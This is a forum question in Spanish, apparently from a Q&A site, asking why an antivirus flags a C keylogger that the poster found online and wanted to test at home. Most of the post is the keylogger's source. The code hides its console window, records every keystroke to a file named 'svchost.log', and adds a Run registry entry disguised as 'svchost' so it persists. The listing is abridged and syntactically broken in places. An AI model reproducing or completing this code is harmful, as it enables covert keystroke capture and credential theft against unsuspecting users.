Encontré uno en línea, que quería probar en mi casa y ver si realmente funcionaba. Está escrito en C, y no es muy grande considerando que la mitad es solo un montón de casos para los que se presiona una tecla, por ejemplo:
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
y también hace un poco con el registro, como
reg_key=RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
Mi computadora con Windows 7 tomará esto como 'Software potencialmente dañino', mientras que mi computadora XP en la escuela con Symantec Endpoint Protection no ... Al ser software corporativo, pensé que Symantec lo tomaría en un abrir y cerrar de ojos pero no lo hizo. ..
Entonces, mi pregunta es, ¿qué establece este programa como 'Software potencialmente dañino'? ¿Es la modificación / uso del registro o algún otro factor que generalmente atrapa a un keylogger?
Nota: hay más en el programa, pero es bastante largo, así que edité algunas de las piezas repetitivas. Sin embargo, aquí está la mayoría del keylogger, pero dejé de lado algunas declaraciones (if-else y switch) que prácticamente solo escribieron los datos en la memoria.
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
char *path="c:\%windir%\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
A lot of switch statements left out for brevity
I left out a lot of if-elses as well, all they did was write the
data to the file.
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}